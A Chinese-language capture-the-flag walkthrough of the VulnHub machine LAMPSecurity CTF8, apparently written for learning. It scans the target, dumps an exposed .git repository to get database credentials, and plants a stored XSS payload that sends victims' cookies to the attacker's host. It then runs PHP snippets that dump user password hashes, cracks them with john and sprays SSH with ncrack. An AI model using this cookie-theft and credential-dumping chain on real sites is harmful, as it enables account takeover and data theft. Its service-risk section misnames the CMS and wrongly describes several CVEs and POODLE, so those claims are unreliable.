LAMPSecurity: CTF8
来自 <https://www.vulnhub.com/entry/lampsecurity-ctf8,87/>
1,将两台虚拟机网络连接都改为NAT模式
2,攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.141
3,对靶机进行端口服务探测
nmap -sV -T4 -p- -A 192.168.23.141
1. 文件传输服务:21/tcp(FTP)
- 服务版本:vsftpd 2.0.5(2007 年发布,超 15 年历史的老旧版本)
- 关键配置:
- 允许匿名登录(FTP 代码 230,无需账号密码即可访问)
- 存在公开目录 pub(权限 drwxr-xr-x,所有人可读可执行)
- 风险:匿名登录可能导致敏感文件泄露;vsftpd 2.0.5 存在已知漏洞(如 CVE-2011-0762,虽非远程代码执行,但可能被用于信息收集或弱口令爆破)。
2. 远程管理服务:22/tcp(SSH)
- 服务版本:OpenSSH 4.3(2006 年发布,极度老旧)
- 密钥信息:
- DSA 密钥(1024 位,已不符合现代安全标准,易被破解)
- RSA 密钥(2048 位,虽长度合规,但依赖的 OpenSSH 版本存在高危漏洞)
- 风险:OpenSSH 4.3 存在多个远程漏洞(如 CVE-2008-1483,远程代码执行;CVE-2016-10012,权限提升),攻击者可直接利用漏洞获取系统权限。
3. 邮件服务:25/tcp(SMTP)、110/tcp(POP3)、143/tcp(IMAP)、993/tcp(SSL/IMAP)、995/tcp(SSL/POP3)
- 核心组件:
- SMTP:Sendmail 2.0.0(配置简单,无认证防护,易被用于发送垃圾邮件)
- POP3/IMAP:Dovecot imapd(SSL 证书已过期超 10 年:有效期 2013.05.29-2014.05.29)
- 关键风险:
- SSL 证书过期:加密通信无效,数据(如邮件密码)可能被中间人劫持
- 支持SSLv2 协议(已被废弃的不安全协议,存在 POODLE 等漏洞,易被破解加密)
- SMTP 无认证:可能成为 “垃圾邮件中继站”,导致 IP 被黑名单封禁
4. Web 服务:80/tcp(HTTP)、443/tcp(HTTPS)
- 服务版本:Apache httpd 2.2.3(2006 年发布,存在大量未修复漏洞)
- 网站特征:
- 标题 “LAMPSecurity Research”,推测为LAMPSecurity 靶场环境(用于渗透测试学习,但若为生产环境则风险极高)
- 内容管理系统(CMS):Dovecot(通过 favicon 识别)
- 暴露Git 仓库(路径 /.git/),包含 “initial commit” 提交记录
- robots.txt 禁止访问 36 个路径(如/includes/、/modules/),但 Git 仓库暴露可能泄露源码
- 风险:
- Apache 2.2.3 存在高危漏洞(如 CVE-2011-3192,远程代码执行;CVE-2007-6750,目录遍历)
- Git 仓库泄露:攻击者可下载完整源码,分析代码逻辑寻找 SQL 注入、文件上传等漏洞
- HTTPS 证书过期(2013.05.29-2014.05.29),加密无效
5. 数据库服务:3306/tcp(MySQL)
- 服务状态:开放但 “未授权访问”(扫描提示unauthorized)
- 风险:虽当前拒绝匿名访问,但 MySQL 若使用弱口令(如root/123456),易被暴力破解;且老旧系统可能搭配低版本 MySQL(如 5.0.x),存在远程代码执行漏洞(如 CVE-2016-6662)。
6. 远程桌面服务:5801-5804/tcp(VNC-HTTP)、5901-5904/tcp(VNC)、6001-6004/tcp(X11)
- 服务版本:RealVNC 4.0(2005 年发布,老旧版本)
- 关键配置:
- VNC 使用 “VNC Authentication” 认证(仅基于密码,无二次验证)
- X11 服务开放(Linux 图形界面远程访问),但提示 “access denied”(当前拒绝访问,风险较低)
- 风险:
- RealVNC 4.0 存在密码破解漏洞(弱口令易被爆破,如默认密码password)
- 同时开放 4 个 VNC 实例(5901-5904),扩大攻击面,若其中一个密码泄露则整机沦陷
7. 文件共享服务:139/tcp、445/tcp(Samba)
- 服务版本:Samba 3.0.33-3.7.el5(2007 年左右版本,适配 CentOS 5)
- 关键配置:
- 工作组:WORKGROUP(默认工作组,无自定义防护)
- 安全模式:message_signing: disabled(禁用消息签名,易被中间人攻击)
- SMB2 协议协商失败,仅支持老旧的 SMB1 协议(存在永恒之蓝等漏洞)
- 风险:Samba 3.0.x 存在高危漏洞(如 CVE-2007-2447,远程代码执行;CVE-2017-7494,文件上传漏洞),攻击者可利用漏洞获取系统权限。
8. 其他服务:111/tcp(rpcbind)、869/tcp(status)
- rpcbind:负责 RPC 服务端口映射,无直接漏洞,但可能被用于探测内网其他 RPC 服务(如 NFS)
- status:RPC 状态服务(端口 869),仅用于内部状态查询,风险较低
4,访问80端口开设的http服务
存在一个登录页面,再扫描其子目录看看
gobuster dir -u http://192.168.23.141/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400
再扫描识别网站指纹特征
whatweb -v http://192.168.23.141
查看页面源码得到第一个flag
5,扫出来一些敏感目录
dirsearch -u http://192.168.23.141 -x 404,403
http://192.168.23.141/phpinfo.php
得到第二个flag
view-source:http://192.168.23.141/tracker
得到第三个flag
http://192.168.23.141/robots.txt
第四个flag
http://192.168.23.141/profile 得到一堆用户名,可作为账号名字典
6,注意到存在git源码泄露,可以使用工具进行利用
export https_proxy="http://192.168.99.89:7897"
git clone https://github.com/lijiejie/GitHack.git
cd GitHack
python GitHack.py http://192.168.23.141/.git/
cat 192.168.23.141/sites/default/settings.php
由此知道数据库用户名及密码:root/JumpUpAndDown,数据库名:drupal
7,使用nikto扫描web漏洞信息
nikto -h 192.168.23.141
可能存在XSS漏洞,尝试利用之
不存在抗点击劫持的X-Frame-Options标头。
X-XSS-Protection头没有定义。此header可以提示用户代理防止某些形式的XSS
没有设置X-Content-Type-Options标头。这可以让用户代理以一种不同于MIME类型的方式呈现网站内容
8,先注册一个账户
http://192.168.23.141/user/register
注册成功。寻找推送帖子的Barbara,在其发布的帖子的评论框内插入xss payload:
<script>alert(/xss/)</script>
证明存在XSS漏洞,那么就可以写一个payload窃取cookie
<script>
var request=new XMLHttpRequest();
var redirect_url="http://192.168.23.128:8000/"+document.cookie;
request.open("GET",redirect_url);
request.send();
</script>
kali需要一直开启一个http服务接收cookie
python -m http.server
回到http://192.168.182.128/tracker,点击Barbara,点击Contact
随便找个理由让她点进这个页面:
http://192.168.23.141/content/lampsec-point-security-available#comment-4
先编辑好发送邮件。这里就会接收到barbara的cookie,在浏览器开发者模式进行替换就能变成barbara用户
9,该用户拥有对网站查看的权限,怀疑存在代码执行漏洞,直接反弹shell失败。但是可以在网页执行PHP代码实现脱库
创建PHP页面来获取数据库所有表名:
<?php
$result = db_query('select table_name from information_schema.tables');
while($test = mysqli_fetch_object($result)){
print_r($test->table_name."<br/>");
}
?>
回显出各种数据表名
创建PHP页面来获取数据库所有表名:
<?php
$result = db_query('show tables');
while($test = mysqli_fetch_array($result)){
print_r($test[0]."<br/>");
}
?>
回显出drupal数据库中的表名
创建PHP页面来获取users表中有哪些字段:
<?php
$result = db_query('select * from users');
while($test = mysqli_fetch_object($result)){
print_r($test);
}
?>
回显出drupal数据库中users表中的字段名。
创建PHP页面来获取users表中name和pass字段:
<?php
$result = db_query('select name,pass from users');
while($test = db_fetch_object($result))
{
print $test->name . ":" . $test->pass . "<br/>";
}
?>
数据回显成功
10,用户名密码写入字典,然后进行解密
john -w=/usr/share/wordlists/rockyou.txt -form=raw-md5 /root/user.txt
然后分别建立user.txt和passwd.txt进行密码喷射以得到正确账户密码
ncrack -p 22 -U user.txt -P passwd.txt 192.168.23.141
login: bdio password: passw0rd
login: spinkton password: football123
login: jharraway password: letmein!